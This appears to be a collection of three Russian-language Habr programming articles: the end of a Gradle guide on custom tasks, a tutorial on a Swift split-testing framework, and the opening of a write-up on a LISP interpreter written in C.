В файле билда объявлена внешняя зависимость от библиотеки Apache Commons Codec. Мы компилируем наш Java-файл, затем формируем командную строку запуска приложения, используя путь скомпилированного .class файла и JAR-зависимость. В файле билда указываем класс, в котором запустится метод `main()` (`org.gradle.example.commandline.MetaphoneEncoder`), задаём ему параметры командной строки в форме списка, и указываем необходимые элементы `classpath`. В данном случае мы можем условно сослаться на основные классы, доступные в `sourceSets`, и на все зависимости, объявленные в конфигурации `runtime`. Задача описанная в примере будет работать даже если мы определим множество других зависимостей из разных репозиториев, включая статические зависимости в директории проекта.
### Пользовательские типы задач
Иногда возможностей встроенных задач Gradle может быть не достаточно для решения вашей задачи. Тогда создание пользовательской задачи будет самым выразительным способом, который можно применить при разработке вашего билда. Gradle позволяет сделать это несколькими способами. Мы рассмотрим два наиболее распространённых.
#### Определение пользовательского типа задачи в файле билда
Допустим, в вашем билде нужно выполнить различные запросы к базе данных MySQL. В Gradle такая задача решается несколькими способами, но вы пришли к выводу, что создание пользовательской задачи будет наиболее выразительным решением. Простейший способ создания задачи — объявить её так, как показано в примере ниже:
###### Пример 36. Пользовательская задача для выполнения запросов в базе данных MySQL (из примера [custom-task](https://github.com/gradleware/oreilly-gradle-book-examples/blob/master/tasks-custom-task/build.gradle)
```
task createDatabase(type: MySqlTask) {
sql = 'CREATE DATABASE IF NOT EXISTS example'
}
task createUser(type: MySqlTask, dependsOn: createDatabase) {
sql = "GRANT ALL PRIVILEGES ON example.* TO exampleuser@localhost IDENTIFIED BY 'passw0rd'"
}
task createTable(type: MySqlTask, dependsOn: createUser) {
username = 'exampleuser'
password = 'passw0rd'
database = 'example'
sql = 'CREATE TABLE IF NOT EXISTS users (id BIGINT PRIMARY KEY, username VARCHAR(100))'
}
class MySqlTask extends DefaultTask {
def hostname = 'localhost'
def port = 3306
def sql
def database
def username = 'root'
def password = 'password'
@TaskAction
def runQuery() {
def cmd
if(database) {
cmd = "mysql -u ${username} -p${password} -h ${hostname} -P ${port} ${database} -e "
}
else {
cmd = "mysql -u ${username} -p${password} -h ${hostname} -P ${port} -e "
}
project.exec {
commandLine = cmd.split().toList() + sql
}
}
}
```
Пользовательская задача `MySqlTask` наследуется от класса `DefaultTask`. Все пользовательские задачи должны наследоваться от класса `DefaultTask`, либо производного от него класса. (Пользовательская задача может наследоваться и от другого типа задачи, отличного от `DefaultTask`. См. выше параграф [Типы задач](#TaskTypes), где описаны наиболее важные встроенные типы задач.) В терминах Groovy, в задаче объявлены свойства (такие как `hostname`, `database`, `sql` и т.д.). Далее объявлен метод `runQuery()`, который помечен аннотацией `@TaskAction`. При выполнении задачи `runQuery()` запустится.
Фактические задачи билда, определённые в начале файла билда, объявлены как задачи типа `MySqlTask`. Таким образом, они автоматически наследуют свойства и операцию базового класса задач. Для большинства свойств определены значения по умолчанию (однако для таких свойств как `username` и `password` значения, конечно же, специфичны для билда), потому остаётся лишь небольшая часть того, что нужно сконфигурировать, прежде чем выполнить каждую из задач. Для задач `createDatabase` и `createUser` конфигурируется всего лишь один SQL-запрос, остальные же значения в дальнейшем используются по умолчанию.
Задача `createTable` переопределяет свойства `username`, `password` и `database`. Таким образом, зависимости задачи создают новую базу данных и пользователя, отличные от административных настроек по умолчанию. Паттерн, который при необходимости переопределяет настройки конфигурации по умолчанию, широко применяется В Gradle.
#### Определение пользовательского типа задачи в дереве исходников
Если пользовательская задача очень велика, её код может существенно усложнять файл билда. Как было показано в примере выше, задача может состоять из нескольких строк простого кода. Однако на определённом этапе задача может развиться в свою собственную иерархию классов c зависимостями от внешнего API и необходимостью применить автоматизированное тестирование. Билд является кодом, а сложный код билда нужно рассматривать, как полноправного обитателя мира разработки кода. Такая задача в Gradle решается просто.
Когда логика пользовательской задачи перерастает разумные пределы файла билда, мы можем её перенести в директорию `buildSrc`, которая находится в корне проекта. Директория эта автоматически компилируется и добавляется в classpath билда. Мы изменим предыдущий пример, в котором будем использовать `buildSrc`:
###### Пример 37. Билд-файл использующий пользовательскую задачу, определённый [во внешнем файле](https://github.com/gradleware/oreilly-gradle-book-examples/tree/master/tasks-custom-task-buildsrc)
```
task createDatabase(type: MySqlTask) {
sql = 'CREATE DATABASE IF NOT EXISTS example'
}
task createUser(type: MySqlTask, dependsOn: createDatabase) {
sql = "GRANT ALL PRIVILEGES ON example.* TO exampleuser@localhost IDENTIFIED BY 'passw0rd'"
}
task createTable(type: MySqlTask, dependsOn: createUser) {
username = 'exampleuser'
password = 'passw0rd'
database = 'example'
sql = 'CREATE TABLE IF NOT EXISTS users (id BIGINT PRIMARY KEY, username VARCHAR(100))'
}
```
###### Пример 38. Определение пользовательской задачи в директории `buildSrc`
```
import org.gradle.api.DefaultTask
import org.gradle.api.tasks.TaskAction
class MySqlTask extends DefaultTask {
def hostname = 'localhost'
def port = 3306
def sql
def database
def username = 'root'
def password = 'password'
@TaskAction
def runQuery() {
def cmd
if(database) {
cmd = "mysql -u ${username} -p${password} -h ${hostname} -P ${port} ${database} -e "
}
else {
cmd = "mysql -u ${username} -p${password} -h ${hostname} -P ${port} -e "
}
project.exec {
commandLine = cmd.split().toList() + sql
}
}
}
```
Заметим, что определение задачи в директории `buildSrc` полностью совпадает с кодом, включённым в скрипт билда в [позапрошлом примере](#CustomTaskExample). Тем не менее, теперь у нас появляется работоспособная структура проекта, пригодная для совершенствования кода простой задачи, наращивания объектной модели, написания тестов и всего остального, что мы обычно делаем разрабатывая код.
> Есть четыре способа, куда вы можете поместить пользовательский билд-код Gradle. Первый — добавить код собственно, в билд-скрипт, в блок операции задачи. Второй — создать внешний файл в директории `buildSrc`, как было только что сделано в последнем примере. Третий способ — импортировать внешний файл с билд-скриптом в наш основной билд-скрипт. Четвёртый — импорт внешнего модуля, написанного на Java или Goovy. Создание модулей в Gradle — отдельная тема, которую мы затрагивать не будем.
###### Пример 39. Структура проекта Gradle, использующего пользовательский код, помещённый в директорию `buildSrc`
```
.
├── build.gradle
├── buildSrc
│ └── src
│ └── main
│ └── groovy
│ └── org
│ └── gradle
│ └── example
│ └── task
│ └── MySqlTask.groovy
```
### Откуда берутся задачи
До настоящего момента мы создавали задачи путём непосредственного написания кода в билд-скриптах Gradle, либо в директории `buildSrc` в виде кода Groovy. Такой подход хорош для изучения задач, так как даёт подробный обзор всех их особенностей. Всё же, большинство задач, которые вы будете использовать, не будут написаны вами. Они будут импортироваться из внешних модулей.
В простейшем примере сборки консольного приложения `HelloWorld` на Java, файл билда выглядит следующим образом:
```
apply plugin: 'java'
```
Применив модуль Java, билд-скрипт автоматически наследует набор задач, код которых вам не виден. Вы можете изменять поведение наследованных задач в [блоках конфигурации](#TaskConfiguration), либо используя рассмотренные выше методы [`doFirst()`](#DoFirst) и [`doLast()`](#DoLast), для которых вам придётся писать код. Ключевой стратегией Gradle являются широкие возможности для расширения при малой сложности. Gradle предлагает вам большой набор функциональности посредством задач, подробности реализации которых вам не нужно знать, которые вы запускаете используя Gradle DSL (DSL — Domain Specific Language), а не множество запутанных инструкций кода Groovy.
Кроме того, в Gradle есть несколько встроенных задач, таких как `tasks` и `properties`. Такие задачи не импортируются из модулей или вашего кода. Они являются стандартом Gradle DSL.
### Заключение
В даной главе мы достаточно подробно рассмотрели задачи. Мы разобрались как их можно конфигурировать, создавать в файле скрипта, и получили представление о том, как Gradle разделяет действия для конфигурирования и выполнения между двумя фазами жизненного цикла. Увидели, что задачи являются полноценными объектами Groovy с богатым API. Рассмотрели API задач в достаточном объёме чтобы вы начали воспринимать их как сущности, которые можно менять программно. Мы также рассмотрели некоторые стандартные типы задач, которые даже без дополнительных настроек предоставляют вполне работающую функциональность.
Наконец, мы разобрались как можно создавать ваши собственные задачи программным путём. Для большинства пользователей стандартных возможностей модулей и встроенных задач Gradle достаточно, и для создания билдов пользовательский код можно не писать. Однако случаются исключения. Одна из ключевых возможностей Gradle — облегчить вам расширение возможностей билда без создания в билд-скриптах хаоса с большим объёмом трудноподдерживаемого кода Groovy. Данная возможность была продемонстрирована в примерах пользовательских задач, которые мы рассмотрели.
В Gradle задачи являются фундаментальными единицами процесса сборки. Про них можно рассказать намного больше, чем может охватить введение. Всё же, имея в арсенале знания из данной главы, вы уже достаточно подготовлены, чтобы начать использовать задачи и продолжать дальнейшее их изучение.
*Имеющих идеи по улучшению текста,
а так же нашедших ошибки,
милости просим на [GitHub](https://github.com/pnetesa/Articles/blob/master/%D0%BF%D0%BE%D0%B4%D1%80%D0%BE%D0%B1%D0%BD%D0%BE-%D0%BE-%D0%B7%D0%B0%D0%B4%D0%B0%D1%87%D0%B0%D1%85-gradle.habr).*
За нахождение опечаток отдельная благодарность читателю [Nikita\_Rogatnev](https://habrahabr.ru/users/nikita_rogatnev/). | https://habr.com/ru/post/167227/ | null | ru | null |
# Как проверить гипотезы и заработать на Swift с помощью сплит-тестов
Всем привет! Меня зовут Саша Зимин, я работаю iOS-разработчиком в лондонском офисе [Badoo](https://tech.badoo.com/ru/). В Badoo очень тесное взаимодействие с продуктовыми менеджерами, и я перенял у них привычку проверять все гипотезы, которые возникают у меня относительно продукта. Так, я начал писать сплит-тесты для своих проектов.
Фреймворк, о котором пойдет речь в этой статье, был написан с двумя целями. Во-первых, чтобы избежать возможных ошибок, ведь лучше отсутствие данных в системе аналитики, чем данные некорректные (или вообще данные, которые можно неверно интерпретировать и наломать дров). Во-вторых, чтобы упростить внедрение каждого последующего теста. Но начнём, пожалуй, с того, что представляют из себя сплит-тесты.
В наше время существуют миллионы приложений, решающих большинство потребностей пользователей, поэтому с каждым днём становится всё сложнее создавать новые конкурентоспособные продукты. Это привело к тому, что многие компании и стартапы сначала проводят различные исследования и эксперименты, чтобы выяснить, какие функции делают их продукт лучше, а без каких можно обойтись.
Одним из основных инструментов для проведения таких экспериментов является сплит-тестирование (или A/B-тестирование). В этой статье я расскажу, как его можно реализовать на Swift.
Все демонстрационные материалы проекта доступны [по ссылке](https://github.com/azimin/SplitTestingArticle). Если вы уже имеете представление об A/B-тестировании, то можете сразу переходить [к коду](#split-test).
Краткое введение в сплит-тестирование
=====================================
Сплит-тестирование, или A/B-тестирование (этот термин не всегда корректен, ведь у вас может быть и более двух групп участников), является способом проверки различных версий продукта на разных группах пользователей с целью понять, какая версия лучше. Почитать об этом можно в «[Википедии](https://en.wikipedia.org/wiki/A/B_testing)» или, например, в [этой](https://vwo.com/ab-testing) статье с реальными примерами.
В Badoo мы проводим одновременно много сплит-тестов. Например, однажды мы решили, что страница профиля пользователя в нашем приложении выглядит устаревшей, а также захотели улучшить взаимодействие пользователей с некоторыми баннерами. Поэтому мы запустили сплит-тестирование с тремя группами:
1. Старый профиль
2. Новый профиль, версия 1
3. Новый профиль, версия 2
Как видите, у нас было три варианта, больше похоже на A/B/C-тестирование (и именно поэтому мы предпочитаем использовать термин «сплит-тестирование»).
Так разные пользователи видели свои профили:
В консоли Product Manager у нас было четыре группы пользователей, сформированных случайным образом и имеющих одинаковую численность:
Возможно, вы спросите, почему у нас есть control и control\_check (если control\_check — это копия логики группы control)? Ответ очень прост: любое изменение влияет на множество показателей, поэтому мы никогда не можем быть абсолютно уверены в том, что то или иное изменение является результатом проведения сплит-теста, а не других действий.
Если вы считаете, что какие-то показатели изменились из-за сплит-теста, то следует дважды проверить, что внутри групп control и control\_check они одинаковы.
Как видите, мнения пользователей могут отличаться, но эмпирические данные являются наглядным доказательством. Команда продуктовых менеджеров анализирует результаты и понимает, почему один вариант лучше другого.
Сплит-тестирование и Swift
==========================
Цели:
1. Создать библиотеку для клиентской части (без использования сервера).
2. Сохранять выбранный вариант юзера в постоянном хранилище после того, как он был случайно сгенерирован.
3. Отправлять отчёты о выбранных вариантах для каждого сплит-теста в сервис аналитики.
4. Как можно шире использовать возможности Swift.
P. S. Использование такой библиотеки для сплит-тестирования клиентской части имеет свои преимущества и недостатки. Главное преимущество заключается в том, что вам не нужно иметь серверную инфраструктуру или выделенный сервер. А недостаток — в том, что, если в ходе эксперимента что-то пойдёт не так, вы не сможете откатиться назад без загрузки новой версии в App Store.
Несколько слов о реализации:
1. При проведении эксперимента вариант для пользователя выбирается случайным образом по равновероятному принципу.
2. Сервис сплит-тестирования может использовать:
* Любое хранилище данных (например, UserDefaults, Realm, SQLite или Core Data) в качестве зависимости и сохранять в него присвоенное пользователю значение (значение его варианта).
* Любой сервис аналитики (например, Amplitude или Facebook Analytics) в качестве зависимости и отправлять текущий вариант в тот момент, когда пользователь столкнётся со сплит-тестом.
Вот схема будущих классов:
Все сплит-тесты будут представлены с помощью **SplitTestProtocol**, и у каждого из них будет несколько вариантов (групп), которые будут представлены в **SplitTestGroupProtocol**.
Сплит-тест должен иметь возможность информировать аналитику о текущем варианте, поэтому в качестве зависимости у него будет **AnalyticsProtocol**.
Cервис **SplitTestingService** будет сохранять, генерировать варианты и управлять всеми сплит-тестами. Именно он загружает текущий вариант пользователя из хранилища, которая определяется **StorageProtocol**, а также передаёт **AnalyticsProtocol** в **SplitTestProtocol**.
---
Начнём писать код с зависимостей **AnalyticsProtocol** и **StorageProtocol**:
```
protocol AnalyticsServiceProtocol {
func setOnce(value: String, for key: String)
}
protocol StorageServiceProtocol {
func save(string: String?, for key: String)
func getString(for key: String) -> String?
}
```
Роль аналитики заключается в однократной регистрации события. Например, зафиксировать, что пользователь **A** находится в группе **blue** в процессе сплит-теста **button\_color**, когда видит экран с этой кнопкой.
Роль хранилища заключается в сохранении определённого варианта для текущего юзера (после того, как **SplitTestingService** сгенерировал этот вариант) и его последующем считывании при каждом обращении программы к этому сплит-тесту.
Итак, давайте посмотрим на **SplitTestGroupProtocol**, который характеризует набор вариантов для определённого сплит-теста:
```
protocol SplitTestGroupProtocol: RawRepresentable where RawValue == String {
static var testGroups: [Self] { get }
}
```
Поскольку **RawRepresentable where RawValue** является строкой, легко можно создать вариант из строки или преобразовать его обратно в строку, что весьма удобно для работы с аналитикой и хранилищем. Также **SplitTestGroupProtocol** содержит массив testGroups, в котором может быть указан состав текущих вариантов (также этот массив будет применяться для случайного генерирования из доступных вариантов).
Так выглядит прототип основания для самого сплит-теста **SplitTestProtocol**:
```
protocol SplitTestProtocol {
associatedtype GroupType: SplitTestGroupProtocol
static var identifier: String { get }
var currentGroup: GroupType { get }
var analytics: AnalyticsServiceProtocol { get }
init(currentGroup: GroupType, analytics: AnalyticsServiceProtocol)
}
extension SplitTestProtocol {
func hitSplitTest() {
self.analytics.setOnce(value: self.currentGroup.rawValue, for: Self.analyticsKey)
}
static var analyticsKey: String {
return "split_test-\(self.identifier)"
}
static var dataBaseKey: String {
return "split_test_database-\(self.identifier)"
}
}
```
В **SplitTestProtocol** содержатся:
1. Тип *GroupType*, который реализует протокол **SplitTestGroupProtocol** для представления типа, определяющего набор вариантов.
2. Строковое значение *identifier* для аналитики и ключей хранилища.
3. Переменная *currentGroup* для записи конкретного экземпляра *SplitTestProtocol*.
4. Зависимость *analytics* для метода *hitSplitTest*.
5. И метод *hitSplitTest*, который сообщает аналитике о том, что пользователь увидел результат сплит-теста.
> Метод hitSplitTest позволяет удостовериться в том, что пользователи не просто находятся в определённом варианте, но и увидели результат тестирования. Если пометить пользователя, не посещавшего раздел покупок, как «saw\_red\_button\_on\_purcahse\_screen», это исказит результаты.
Теперь у нас всё готово для **SplitTestingService**:
```
protocol SplitTestingServiceProtocol {
func fetchSplitTest(\_ splitTestType: Value.Type) -> Value
}
class SplitTestingService: SplitTestingServiceProtocol {
private let analyticsService: AnalyticsServiceProtocol
private let storage: StorageServiceProtocol
init(analyticsService: AnalyticsServiceProtocol, storage: StorageServiceProtocol) {
self.analyticsService = analyticsService
self.storage = storage
}
func fetchSplitTest(\_ splitTestType: Value.Type) -> Value {
if let value = self.getGroup(splitTestType) {
return Value(currentGroup: value, analytics: self.analyticsService)
}
let randomGroup = self.randomGroup(Value.self)
self.saveGroup(splitTestType, group: randomGroup)
return Value(currentGroup: randomGroup, analytics: self.analyticsService)
}
private func saveGroup(\_ splitTestType: Value.Type, group: Value.GroupType) {
self.storage.save(string: group.rawValue, for: Value.dataBaseKey)
}
private func getGroup(\_ splitTestType: Value.Type) -> Value.GroupType? {
guard let stringValue = self.storage.getString(for: Value.dataBaseKey) else {
return nil
}
return Value.GroupType(rawValue: stringValue)
}
private func randomGroup(\_ splitTestType: Value.Type) -> Value.GroupType {
let count = Value.GroupType.testGroups.count
let random = Int.random(lower: 0, count - 1)
return Value.GroupType.testGroups[random]
}
}
```
P. S. В этом классе мы используем функцию Int.random, взятую из
[тут](https://stackoverflow.com/questions/25050309/swift-random-float-between-0-and-1), но в Swift 4.2 она уже встроена по умолчанию.
В этом классе содержится один публичный метод *fetchSplitTest* и три приватных метода: *saveGroup*, *getGroup*, *randomGroup*.
Метод randomGroup генерирует случайный вариант для выбранного сплит-теста, в то время как getGroup и saveGroup позволяют сохранить или загрузить вариант для определённого сплит-теста у текущего пользователя.
Основной и публичной функцией этого класса является fetchSplitTest: она старается вернуть текущий вариант из постоянного хранилища и, если не получается, генерирует и сохраняет случайный вариант, прежде чем вернуть его.
---
Теперь мы готовы к созданию нашего первого сплит-теста:
```
final class ButtonColorSplitTest: SplitTestProtocol {
static var identifier: String = "button_color"
var currentGroup: ButtonColorSplitTest.Group
var analytics: AnalyticsServiceProtocol
init(currentGroup: ButtonColorSplitTest.Group, analytics: AnalyticsServiceProtocol) {
self.currentGroup = currentGroup
self.analytics = analytics
}
typealias GroupType = Group
enum Group: String, SplitTestGroupProtocol {
case red = "red"
case blue = "blue"
case darkGray = "dark_gray"
static var testGroups: [ButtonColorSplitTest.Group] = [.red, .blue, .darkGray]
}
}
extension ButtonColorSplitTest.Group {
var color: UIColor {
switch self {
case .blue:
return .blue
case .red:
return .red
case .darkGray:
return .darkGray
}
}
}
```
Выглядит внушительно, но не волнуйтесь: как только вы реализуете SplitTestProtocol отдельным классом, компилятор попросит реализовать все необходимые свойства.
Важная часть здесь — тип *enum Group*. В него вы должны поместить все свои группы (в нашем примере это red, blue и darkGray), и здесь же определить строковые значения, чтобы обеспечить корректную передачу в аналитику.
Также у нас есть расширение *ButtonColorSplitTest.Group*, позволяющее использовать весь потенциал Swift. Теперь давайте создадим объекты для **AnalyticsProtocol** и **StorageProtocol**:
```
extension UserDefaults: StorageServiceProtocol {
func save(string: String?, for key: String) {
self.set(string, forKey: key)
}
func getString(for key: String) -> String? {
return self.object(forKey: key) as? String
}
}
```
Для **StorageProtocol** мы будем использовать класс UserDefaults, потому что его легко реализовать, но в своих проектах вы можете работать с любым другим постоянным хранилищем (например, я для себя выбрал Keychain, так как оно сохраняет группу за пользователем даже после удаления).
В этом примере я создам класс фиктивной аналитики, но в своём проекте вы можете использовать настоящую аналитику. Например, можно воспользоваться сервисом [Amplitude](https://amplitude.com).
```
// Dummy class for example, use something real, like Amplitude
class Analytics {
func logOnce(property: NSObject, for key: String) {
let storageKey = "example.\(key)"
if UserDefaults.standard.object(forKey: storageKey) == nil {
print("Log once value: \(property) for key: \(key)")
UserDefaults.standard.set("", forKey: storageKey) // String because of simulator bug
}
}
}
extension Analytics: AnalyticsServiceProtocol {
func setOnce(value: String, for key: String) {
self.logOnce(property: value as NSObject, for: key)
}
}
```
Теперь мы готовы к использованию нашего сплит-теста:
```
let splitTestingService = SplitTestingService(analyticsService: Analytics(),
storage: UserDefaults.standard)
let buttonSplitTest = splitTestingService.fetchSplitTest(ButtonColorSplitTest.self)
self.button.backgroundColor = buttonSplitTest.currentGroup.color
buttonSplitTest.hitSplitTest()
```
Просто создаём свой экземпляр, извлекаем сплит-тест и используем его. Обобщения позволяют вызывать `buttonSplitTest.currentGroup.color.`
Во время первого использования вы можете увидеть что-то вроде (**Log once value**)**: split\_test-button\_color for key: dark\_gray**, и, если вы не удалите приложение с устройства, кнопка будет одинаковой при каждом запуске.
---
Процесс реализации такой библиотеки занимает некоторое время, но после этого каждый новый сплит-тест внутри вашего проекта будет создаваться за пару минут.
Вот пример использования движка в реальном приложении: в аналитике мы сегментировали пользователей по коэффициенту сложности и вероятности покупки игровой валюты.
Люди, которые никогда не сталкивались с этим коэффициентом сложности (none), вероятно, вообще не играют и ничего не покупают в играх (что логично), и именно поэтому важно отправлять на сервер результат (сгенерированный вариант) сплит-тестирования в тот момент, когда пользователи действительно сталкиваются с вашим тестом.
Без коэффициента сложности только 2 % пользователей покупали игровую валюту. С небольшим коэффициентом покупки совершали уже 3 %. И с большим коэффициентом сложности 4 % игроков купили валюту. Это значит, что можно продолжить увеличивать коэффициент и наблюдать за цифрами. :)
Если вам интересно анализировать результаты с максимальной достоверностью, то советую использовать [этот инструмент](https://www.evanmiller.org/ab-testing/).
Спасибо замечательной команде, которая помогла мне в работе над этой статьёй (особенно [Игорю](https://medium.com/@leonspok), [Келли](https://badootech.badoo.com/@kelly.tran) и [Хайро](https://badootech.badoo.com/@jairogonzlezprez)).
Весь демонстрационный проект доступен по [этой ссылке](https://github.com/azimin/SplitTestingArticle). | https://habr.com/ru/post/416841/ | null | ru | null |
# LISP-интерпретатор на чистом C
Я люблю язык C за его простоту и эффективность. Тем не менее, его нельзя назвать гибким и расширяемым. Есть другой простой язык, обладающий беспрецедентной гибкостью и расширяемостью, но проигрывающий C в эффективности использования ресурсов. Я имею в виду LISP. Оба языка использовались для системного программирования и имеют давнюю и славную историю.
Уже достаточно долго я размышляю над идеей, объединяющей подходы обоих этих языков. Её суть заключается в реализации языка программирования на основе LISP, решающего те же задачи, что и C: обеспечение высокой степени контроля над оборудованием (включая низкоуровневый доступ к памяти). На практике это будет система LISP-макросов, генерирующая бинарный код. Возможности LISP для препроцессирования исходного кода, как мне кажется, обеспечат небывалую гибкость, в сравнении с препроцессором C или шаблонами C++, при сохранении исходной простоты языка. Это даст возможность на базе такого DSL надстраивать новые расширения, повышающие скорость и удобство разработки. В частности, на этом языке может реализовываться и сама LISP-система.
Написание компилятора требуют наличие кодогенератора, а в конечном итоге — ассемблера. Поэтому практические изыскания стоит начинать с реализации ассемблера (для подмножества инструкций целевого процессора). Мне было интересно минимизировать какие-либо зависимости от конкретных технологий, языков программирования и операционной системы. Поэтому я решил с нуля реализовать на C простейший интерпретатор импровизированного LISP-диалекта, а также написать к нему систему макрорасширений, позволяющих удобно кодировать на подмножестве ассемблера x86. Венцом моих усилий должен стать результирующий загрузочный образ, выводящий «Hello world!» в реальном режиме процессора.
На текущий момент мною реализован работающий интерпретатор (файл int.c, около 900 строк C-кода), а также набор базовых функций и макросов (файл lib.l, около 100 строк LISP-кода). Кому интересны принципы выполнения LISP-кода, а также подробности реализации интерпретатора, прошу под кат.
Базовой единицей LISP-вычислений является точечная пара (dotted pair). В классическом лиспе Маккарти точечная пара и символ — единственные два типа данных. В практических реализациях этот набор приходится расширять, как минимум, числами. Кроме того, к базовым типам также добавляют строки и массивы (первые являются разновидностью вторых). В стремлении к упрощению есть искушение рассматривать строки в качестве списка чисел, но я сознательно отказался от этой идеи, как от резко ограничивающей возможности языка в реальном мире. В качестве контейнера для чисел решил использовать double.
Итак мы имеем следующие базовые типы данных: точечная пара, символ, число, строка (pascal style, т.к. это даст возможность хранения произвольных бинарных данных в неизменном виде). Поскольку я работаю над интерпретатором (а не над компилятором), можно было ограничиться этим набором (функции и макросы могут быть представлены обычными s-выражениями), но для удобства реализации были добавлены 4 дополнительных типа: функция, макрос, встроенная функция и встроенный макрос. Итак, имеем следующую структуру для s-выражения:
```
struct l_env;
typedef struct s_expr *(*built_in) (struct s_expr*, struct l_env*,
struct file_pos*);
struct s_expr {
enum {
DOTTED_PAIR, STRING, SYMBOL, NUMBER, FUNCTION, MACRO,
BUILT_IN_FUNCTION, BUILT_IN_MACRO
} type;
union {
struct {
struct s_expr *first, *rest;
} pair;
struct {
char *ptr;
size_t size;
} string;
struct {
struct s_expr *expr;
struct l_env *env;
} function;
char *symbol;
double number;
built_in built_in;
} u;
};
struct l_env {
char *symbol;
struct s_expr *expr;
struct l_env *next;
};
```
Данная структура не оптимальна с точки зрения экономии ресурсов и производительности, но я не ставил себе цели построить эффективную реализацию. Прежде всего, была важна простота и лаконичность кода. Пришлось даже отказаться от управления памятью: вся память выделяется без освобождения. На самом деле, для моей практической задачи это решение допустимо: интерпретатор не будет работать длительное время: его задача заключается лишь в трансляции кода в бинарную форму.
Как видно из вышеприведённого кода, функция (и макрос) ссылаются на структуру l\_env. Она является базовым элементом лексического окружения, хранимого в виде списка. Конечно, это неэффективно, поскольку предполагает последовательный доступ к символам. Зато это очень простая и удобная структура для поддержки локальных переменных: они добавляются в голову списка, когда как глобальные — в хвост. От локальных переменных очень легко избавляться (при выходе из функции или из блока let), просто игнорируя переднюю часть этого списка. Собственное лексическое окружение у функции позволяет реализовывать замыкания.
На базе вышеприведённой структуры s-выражения легко построить функцию его вычисления:
```
struct s_expr *eval_s_expr (struct s_expr *expr, struct l_env *env,
struct file_pos *pos) {
struct s_expr *first, *in = expr;
struct l_env *benv;
trace_put("%s -> ...", in, NULL, env);
if (expr)
if (expr->type == SYMBOL)
if (find_symbol(expr->u.symbol, &env))
expr = env->expr;
else
error(UNBOUND_SYMBOL_MSG, pos, expr->u.symbol);
else if (expr->type == DOTTED_PAIR) {
first = eval_s_expr(expr->u.pair.first, env, pos);
if (!first || first->type == DOTTED_PAIR || first->type == SYMBOL ||
first->type == STRING || first->type == NUMBER)
error(NON_FUNC_MACRO_MSG, pos, s_expr_string(first, env));
expr = first->type == FUNCTION || first->type == BUILT_IN_FUNCTION ?
map_eval(expr->u.pair.rest, env, pos) : expr->u.pair.rest;
if (first->type == FUNCTION || first->type == MACRO) {
assert(first->u.function.expr->type == DOTTED_PAIR);
benv = apply_args(first->u.function.expr->u.pair.first, expr,
first->u.function.env, pos);
expr = eval_list(first->u.function.expr->u.pair.rest, benv, pos);
if (first->type == MACRO) {
trace_put("%s ~> %s", in, expr, env);
expr = eval_s_expr(expr, env, pos);
}
}
else
expr = first->u.built_in(expr, env, pos);
}
trace_put("%s -> %s", in, expr, env);
return expr;
}
```
Если вычислимое выражение является символом, мы просто ищем его значение в текущем лексическом окружении (find\_symbol). Если вызов функции: вначале вычисляем фактические параметры, используя текущее лексическое окружение (map\_eval), затем привязываем их к символам формальных параметров (apply\_args) уже в лексическом окружении самой функции. Далее последовательно вычисляем элементы тела на основе полученного лексического окружения, возвращая значение последнего выражения (eval\_list). Для вызова макроса порядок вычисления несколько иной. Фактические параметры не вычисляются, а передаются в неизменном виде. Кроме того, результирующее выражение макроса (макроподстановка) подвергается дополнительному вычислению. Числа, строки, функции и макросы вычисляются сами в себя.
**Полный текст файла int.c**
```
#include
#include
#include
#include
#include
#include
#define LINE\_COMMENT\_CHAR ';'
#define BLOCK\_COMMENT\_CHAR1 ';'
#define BLOCK\_COMMENT\_CHAR2 '|'
#define LIST\_OPEN\_BRACE\_CHAR '('
#define LIST\_CLOSE\_BRACE\_CHAR ')'
#define LIST\_DOT\_CHAR '.'
#define STRING\_DELIMITER\_CHAR '"'
#define STRING\_ESCAPE\_CHAR '\\'
#define NUMBER\_PREFIX\_CHAR '$'
#define NUMBER\_FORMAT\_HEX\_CHAR 'h'
#define NUMBER\_FORMAT\_OCT\_CHAR 'o'
#define NIL\_SYMBOL\_STR "\_"
#define TRUE\_SYMBOL\_STR "t"
#define TRACE\_SYMBOL\_STR "trace"
#define CAR\_SYMBOL\_STR "@"
#define CDR\_SYMBOL\_STR "%"
#define CONS\_SYMBOL\_STR "^"
#define IF\_SYMBOL\_STR "?"
#define LAMBDA\_SYMBOL\_STR "!"
#define MACRO\_SYMBOL\_STR "#"
#define SETQ\_SYMBOL\_STR "="
#define QUOTE\_SYMBOL\_STR "'"
#define PLUS\_SYMBOL\_STR "+"
#define GREATER\_SYMBOL\_STR ">"
#define FUNCTION\_STR\_FORMAT ""
#define MACRO\_STR\_FORMAT "<#%s>"
#define OUT\_OF\_MEMORY\_MSG "out of memory"
#define UNEXPECTED\_EOF\_MSG "unexpected end of file"
#define BAD\_SYNTAX\_MSG "bad syntax"
#define NON\_FUNC\_MACRO\_MSG "expression %s is neither a function nor a macro"
#define NON\_NONEMPTY\_LIST\_MSG "expression %s is not a nonempty list"
#define NON\_LIST\_MSG "expression %s is not a proper list"
#define UNBOUND\_SYMBOL\_MSG "unbound symbol %s"
#define BAD\_FORMAL\_ARGS\_MSG "bad formal arguments %s"
#define BAD\_ACTUAL\_ARGS\_MSG "bad actual arguments %s"
#define STRING\_OVERFLOW\_MSG "string size overflow"
#define NUMBER\_LENGTH\_MAX 32
#define SYMBOL\_LENGTH\_MAX 32
#define STRING\_LENGTH\_MAX 256
#define S\_EXPR\_LENGTH\_MAX 1024
struct file\_pos {
char \*filename;
int line, chr;
};
struct l\_env;
typedef struct s\_expr \*(\*built\_in) (struct s\_expr\*, struct l\_env\*,
struct file\_pos\*);
struct s\_expr {
enum {
DOTTED\_PAIR, STRING, SYMBOL, NUMBER, FUNCTION, MACRO,
BUILT\_IN\_FUNCTION, BUILT\_IN\_MACRO
} type;
union {
struct {
struct s\_expr \*first, \*rest;
} pair;
struct {
char \*ptr;
size\_t size;
} string;
struct {
struct s\_expr \*expr;
struct l\_env \*env;
} function;
char \*symbol;
double number;
built\_in built\_in;
} u;
};
void error(char \*message, struct file\_pos \*pos, char \*expr) {
if (pos)
printf("Error at %s:%d:%d: ", pos->filename, pos->line, pos->chr);
else
printf("Error: ");
if (expr)
printf(message, expr);
else
printf("%s", message);
puts("");
exit(1);
}
void \*alloc\_mem(size\_t size) {
void \*ptr = malloc(size);
if (!ptr)
error(OUT\_OF\_MEMORY\_MSG, NULL, NULL);
return ptr;
}
struct s\_expr \*true\_ () {
static struct s\_expr \*expr = NULL;
if (!expr) {
expr = alloc\_mem(sizeof(\*expr));
expr->type = SYMBOL;
expr->u.symbol = TRUE\_SYMBOL\_STR;
}
return expr;
}
